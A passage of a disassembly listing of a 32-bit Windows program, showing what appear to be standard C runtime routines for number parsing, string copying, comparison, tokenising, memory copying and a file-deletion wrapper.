		jmp	short loc_41C3A5
; ---------------------------------------------------------------------------


loc_41C3D5:				; CODE XREF: sub_41C38D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C3E3
		or	[ebp+arg_C], 2
		jmp	short loc_41C3E8
; ---------------------------------------------------------------------------


loc_41C3E3:				; CODE XREF: sub_41C38D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C3EE


loc_41C3E8:				; CODE XREF: sub_41C38D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C3EE:				; CODE XREF: sub_41C38D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C585
		cmp	eax, 1
		jz	loc_41C585
		cmp	eax, 24h
		jg	loc_41C585
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C436
		cmp	bl, 30h
		jz	short loc_41C420
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C452
; ---------------------------------------------------------------------------


loc_41C420:				; CODE XREF: sub_41C38D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C433
		cmp	al, 58h
		jz	short loc_41C433
		mov	[ebp+arg_8], 8
		jmp	short loc_41C452
; ---------------------------------------------------------------------------


loc_41C433:				; CODE XREF: sub_41C38D+97j
					; sub_41C38D+9Bj
		mov	[ebp+arg_8], ecx


loc_41C436:				; CODE XREF: sub_41C38D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C452
		cmp	bl, 30h
		jnz	short loc_41C452
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C44A
		cmp	al, 58h
		jnz	short loc_41C452


loc_41C44A:				; CODE XREF: sub_41C38D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C452:				; CODE XREF: sub_41C38D+91j
					; sub_41C38D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C462:				; CODE XREF: sub_41C38D+16Cj
		cmp	dword_43F1F4, 1
		movzx	esi, bl
		jle	short loc_41C47A
		push	4
		push	esi
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_41C485
; ---------------------------------------------------------------------------


loc_41C47A:				; CODE XREF: sub_41C38D+DFj
		mov	eax, off_43EFE8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C485:				; CODE XREF: sub_41C38D+EBj
		test	eax, eax
		jz	short loc_41C491
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C4C3
; ---------------------------------------------------------------------------


loc_41C491:				; CODE XREF: sub_41C38D+FAj
		cmp	dword_43F1F4, 1
		jle	short loc_41C4A5
		push	edi
		push	esi
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_41C4B0
; ---------------------------------------------------------------------------


loc_41C4A5:				; CODE XREF: sub_41C38D+10Bj
		mov	eax, off_43EFE8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C4B0:				; CODE XREF: sub_41C38D+116j
		test	eax, eax
		jz	short loc_41C4FE
		movsx	eax, bl
		push	eax
		call	sub_420B13
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C4C3:				; CODE XREF: sub_41C38D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C4FE
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C4E8
		jnz	short loc_41C4E2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C4E8


loc_41C4E2:				; CODE XREF: sub_41C38D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C4F1
; ---------------------------------------------------------------------------


loc_41C4E8:				; CODE XREF: sub_41C38D+145j
					; sub_41C38D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C4F1:				; CODE XREF: sub_41C38D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C462
; ---------------------------------------------------------------------------


loc_41C4FE:				; CODE XREF: sub_41C38D+125j
					; sub_41C38D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C51C
		test	edx, edx
		jz	short loc_41C516
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C516:				; CODE XREF: sub_41C38D+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C569
; ---------------------------------------------------------------------------


loc_41C51C:				; CODE XREF: sub_41C38D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C542
		test	cl, 1
		jnz	short loc_41C569
		and	ecx, 2
		jz	short loc_41C539
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C542


loc_41C539:				; CODE XREF: sub_41C38D+1A1j
		test	ecx, ecx
		jnz	short loc_41C569
		cmp	[ebp+var_8], eax
		jbe	short loc_41C569


loc_41C542:				; CODE XREF: sub_41C38D+197j
					; sub_41C38D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DE02C, 22h
		jz	short loc_41C558
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C569
; ---------------------------------------------------------------------------


loc_41C558:				; CODE XREF: sub_41C38D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C569:				; CODE XREF: sub_41C38D+18Dj
					; sub_41C38D+19Cj ...
		test	edx, edx
		jz	short loc_41C572
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C572:				; CODE XREF: sub_41C38D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C580
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C580:				; CODE XREF: sub_41C38D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C590
; ---------------------------------------------------------------------------


loc_41C585:				; CODE XREF: sub_41C38D+66j
					; sub_41C38D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C58E
		mov	[eax], edi


loc_41C58E:				; CODE XREF: sub_41C38D+1FDj
		xor	eax, eax


loc_41C590:				; CODE XREF: sub_41C38D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C38D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C595	proc near		; CODE XREF: sub_401B66+60EDp
					; sub_401B66+6916p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C38D
		add	esp, 10h
		retn
sub_41C595	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5AC	proc near		; CODE XREF: sub_401B66+5894p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_428080	; DeleteFileA
		test	eax, eax
		jnz	short loc_41C5C2
		call	dword_42808C	; RtlGetLastWin32Error
		jmp	short loc_41C5C4
; ---------------------------------------------------------------------------


loc_41C5C2:				; CODE XREF: sub_41C5AC+Cj
		xor	eax, eax


loc_41C5C4:				; CODE XREF: sub_41C5AC+14j
		test	eax, eax
		jz	short loc_41C5D3
		push	eax
		call	sub_420BDF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C5D3:				; CODE XREF: sub_41C5AC+1Aj
		xor	eax, eax
		retn
sub_41C5AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C5D6	proc near		; CODE XREF: sub_401B66+5800p
					; sub_41226B+8Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420C46
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41FE9F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420CD3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C5D6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C610	proc near		; CODE XREF: sub_401B66+1DA7p
					; sub_401B66+1DC6p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C631
		xor	eax, eax
		jmp	short loc_41C633
; ---------------------------------------------------------------------------


loc_41C631:				; CODE XREF: sub_41C610+1Bj
		mov	eax, edi


loc_41C633:				; CODE XREF: sub_41C610+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C610	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C640	proc near		; CODE XREF: sub_401B66+7D2p
					; sub_41E48A+93p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C671
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C66F
		jz	short loc_41C671
		dec	ecx
		dec	ecx


loc_41C66F:				; CODE XREF: sub_41C640+29j
		not	ecx


loc_41C671:				; CODE XREF: sub_41C640+9j
					; sub_41C640+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C680	proc near		; CODE XREF: sub_401B66+3D3p
					; sub_401B66+2FD4p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C6F1
sub_41C680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C690	proc near		; CODE XREF: sub_401B66+3DFp
					; sub_401B66+74C6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C6AC


loc_41C69D:				; CODE XREF: sub_41C690+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C6DF
		test	ecx, 3
		jnz	short loc_41C69D


loc_41C6AC:				; CODE XREF: sub_41C690+Bj
					; sub_41C690+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C6AC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C6EE
		test	ah, ah
		jz	short loc_41C6E9
		test	eax, 0FF0000h
		jz	short loc_41C6E4
		test	eax, 0FF000000h
		jz	short loc_41C6DF
		jmp	short loc_41C6AC
; ---------------------------------------------------------------------------


loc_41C6DF:				; CODE XREF: sub_41C690+12j
					; sub_41C690+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------


loc_41C6E4:				; CODE XREF: sub_41C690+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------


loc_41C6E9:				; CODE XREF: sub_41C690+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------


loc_41C6EE:				; CODE XREF: sub_41C690+39j
		lea	edi, [ecx-4]


loc_41C6F1:				; CODE XREF: sub_41C680+5j
					; sub_41C690+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C716


loc_41C6FD:				; CODE XREF: sub_41C690+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C768
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C6FD
		jmp	short loc_41C716
; ---------------------------------------------------------------------------


loc_41C711:				; CODE XREF: sub_41C690+9Ej
					; sub_41C690+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C716:				; CODE XREF: sub_41C690+6Bj
					; sub_41C690+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C711
		test	dl, dl
		jz	short loc_41C768
		test	dh, dh
		jz	short loc_41C75F
		test	edx, 0FF0000h
		jz	short loc_41C752
		test	edx, 0FF000000h
		jz	short loc_41C74A
		jmp	short loc_41C711
; ---------------------------------------------------------------------------


loc_41C74A:				; CODE XREF: sub_41C690+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C752:				; CODE XREF: sub_41C690+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C75F:				; CODE XREF: sub_41C690+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C768:				; CODE XREF: sub_41C690+72j
					; sub_41C690+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C690	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C780


loc_41C770:				; CODE XREF: sub_41C780+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C780
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C780	proc near		; CODE XREF: sub_401B66+3BDp
					; sub_401B66+449p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C770 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C786:				; CODE XREF: sub_41C0D0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C7AB


loc_41C798:				; CODE XREF: sub_41C780+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C770
		test	cl, cl
		jz	short loc_41C7F4
		test	edx, 3
		jnz	short loc_41C798


loc_41C7AB:				; CODE XREF: sub_41C780+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C7B6:				; CODE XREF: sub_41C780+61j
					; sub_41C780+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C7F8
		and	eax, 81010100h
		jz	short loc_41C7B6
		and	eax, 1010100h
		jnz	short loc_41C7F2
		and	esi, 80000000h
		jnz	short loc_41C7B6


loc_41C7F2:				; CODE XREF: sub_41C780+68j
					; sub_41C780+81j ...
		pop	esi
		pop	edi


loc_41C7F4:				; CODE XREF: sub_41C780+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C7F8:				; CODE XREF: sub_41C780+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C835
		test	al, al
		jz	short loc_41C7F2
		cmp	ah, bl
		jz	short loc_41C82E
		test	ah, ah
		jz	short loc_41C7F2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C827
		test	al, al
		jz	short loc_41C7F2
		cmp	ah, bl
		jz	short loc_41C820
		test	ah, ah
		jz	short loc_41C7F2
		jmp	short loc_41C7B6
; ---------------------------------------------------------------------------


loc_41C820:				; CODE XREF: sub_41C780+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C827:				; CODE XREF: sub_41C780+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C82E:				; CODE XREF: sub_41C780+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C835:				; CODE XREF: sub_41C780+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C780	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C840	proc near		; CODE XREF: sub_401B66+1A0p
					; sub_401B66+1F7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C88C


loc_41C850:				; CODE XREF: sub_41C840+3Cj
					; sub_41C840+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C884
		or	al, al
		jz	short loc_41C880
		cmp	ah, [ecx+1]
		jnz	short loc_41C884
		or	ah, ah
		jz	short loc_41C880
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C884
		or	al, al
		jz	short loc_41C880
		cmp	ah, [ecx+3]
		jnz	short loc_41C884
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C850
		mov	edi, edi


loc_41C880:				; CODE XREF: sub_41C840+18j
					; sub_41C840+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C884:				; CODE XREF: sub_41C840+14j
					; sub_41C840+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C88C:				; CODE XREF: sub_41C840+Ej
		test	edx, 1
		jz	short loc_41C8A8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C884
		inc	ecx
		or	al, al
		jz	short loc_41C880
		test	edx, 2
		jz	short loc_41C850


loc_41C8A8:				; CODE XREF: sub_41C840+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C884
		or	al, al
		jz	short loc_41C880
		cmp	ah, [ecx+1]
		jnz	short loc_41C884
		or	ah, ah
		jz	short loc_41C880
		add	ecx, 2
		jmp	short loc_41C850
sub_41C840	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C8C4	proc near		; CODE XREF: sub_401B66+B5p
					; sub_401B66+C8p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C8DD:				; CODE XREF: sub_41C8C4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C8DD
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C905
		mov	edx, dword_4DE078


loc_41C905:				; CODE XREF: sub_41C8C4+39j
					; sub_41C8C4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C925
		test	al, al
		jz	short loc_41C925
		inc	edx
		jmp	short loc_41C905
; ---------------------------------------------------------------------------


loc_41C925:				; CODE XREF: sub_41C8C4+58j
					; sub_41C8C4+5Cj
		mov	ebx, edx


loc_41C927:				; CODE XREF: sub_41C8C4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C94B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C947
		inc	edx
		jmp	short loc_41C927
; ---------------------------------------------------------------------------


loc_41C947:				; CODE XREF: sub_41C8C4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C94B:				; CODE XREF: sub_41C8C4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DE078, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C8C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C960	proc near		; CODE XREF: sub_40993C+1Cp
					; sub_415819+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41FE9F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C99E
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C9AB
; ---------------------------------------------------------------------------


loc_41C99E:				; CODE XREF: sub_41C960+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FD8A
		pop	ecx
		pop	ecx


loc_41C9AB:				; CODE XREF: sub_41C960+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C960	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C9B0	proc near		; CODE XREF: sub_40AEC2+46p
					; sub_40B4C9+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CA64
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C9DA


loc_41C9CB:				; CODE XREF: sub_41C9B0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41CA0B
		test	edi, 3
		jnz	short loc_41C9CB


loc_41C9DA:				; CODE XREF: sub_41C9B0+19j
					; sub_41C9B0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C9DA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41CA18
		test	ah, ah
		jz	short loc_41CA13
		test	eax, 0FF0000h
		jz	short loc_41CA0E
		test	eax, 0FF000000h
		jnz	short loc_41C9DA


loc_41CA0B:				; CODE XREF: sub_41C9B0+20j
		dec	edi
		jmp	short loc_41CA1B
; ---------------------------------------------------------------------------


loc_41CA0E:				; CODE XREF: sub_41C9B0+52j
		sub	edi, 2
		jmp	short loc_41CA1B
; ---------------------------------------------------------------------------


loc_41CA13:				; CODE XREF: sub_41C9B0+4Bj
		sub	edi, 3
		jmp	short loc_41CA1B
; ---------------------------------------------------------------------------


loc_41CA18:				; CODE XREF: sub_41C9B0+47j
		sub	edi, 4


loc_41CA1B:				; CODE XREF: sub_41C9B0+5Cj
					; sub_41C9B0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41CA30
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CA7C
		jmp	short loc_41CA4C
; ---------------------------------------------------------------------------


loc_41CA30:				; CODE XREF: sub_41C9B0+75j
					; sub_41C9B0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41CA6A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41CA60
		test	esi, 3
		jnz	short loc_41CA30
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CA7C


loc_41CA4C:				; CODE XREF: sub_41C9B0+7Ej
					; sub_41C9B0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CA60


loc_41CA53:				; CODE XREF: sub_41C9B0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41CA62
		dec	ecx
		jnz	short loc_41CA53


loc_41CA60:				; CODE XREF: sub_41C9B0+8Bj
					; sub_41C9B0+A1j
		mov	[edi], cl


loc_41CA62:				; CODE XREF: sub_41C9B0+ABj
		pop	ebx
		pop	esi


loc_41CA64:				; CODE XREF: sub_41C9B0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CA6A:				; CODE XREF: sub_41C9B0+85j
					; sub_41C9B0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CA74:				; CODE XREF: sub_41C9B0+E4j
					; sub_41C9B0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41CA4C


loc_41CA7C:				; CODE XREF: sub_41C9B0+7Cj
					; sub_41C9B0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CA74
		test	dl, dl
		jz	short loc_41CA6A
		test	dh, dh
		jz	short loc_41CAC8
		test	edx, 0FF0000h
		jz	short loc_41CAB8
		test	edx, 0FF000000h
		jnz	short loc_41CA74
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CAB8:				; CODE XREF: sub_41C9B0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CAC8:				; CODE XREF: sub_41C9B0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C9B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAE0	proc far		; CODE XREF: sub_40BE29+15p
					; sub_40BE29+3Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CB00
		cmp	edi, eax
		jb	loc_41CC78


loc_41CB00:				; CODE XREF: sub_41CAE0+16j
		test	edi, 3
		jnz	short loc_41CB1C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CB3C
		rep movsd
		jmp	off_41CC28[edx*4]
; ---------------------------------------------------------------------------


loc_41CB1C:				; CODE XREF: sub_41CAE0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CB34
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CB3C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CB34:				; CODE XREF: sub_41CAE0+46j
		jmp	dword ptr loc_41CC38[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CB3C:				; CODE XREF: sub_41CAE0+31j
					; sub_41CAE0+8Ej ...
		jmp	off_41CBBC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		push	eax
		retf
; ---------------------------------------------------------------------------
		dw 41h
		dd offset loc_41CB7C
		dd offset loc_41CBA0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CB3C
		rep movsd
		jmp	off_41CC28[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CB7C:				; DATA XREF: sub_41CAE0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CB3C
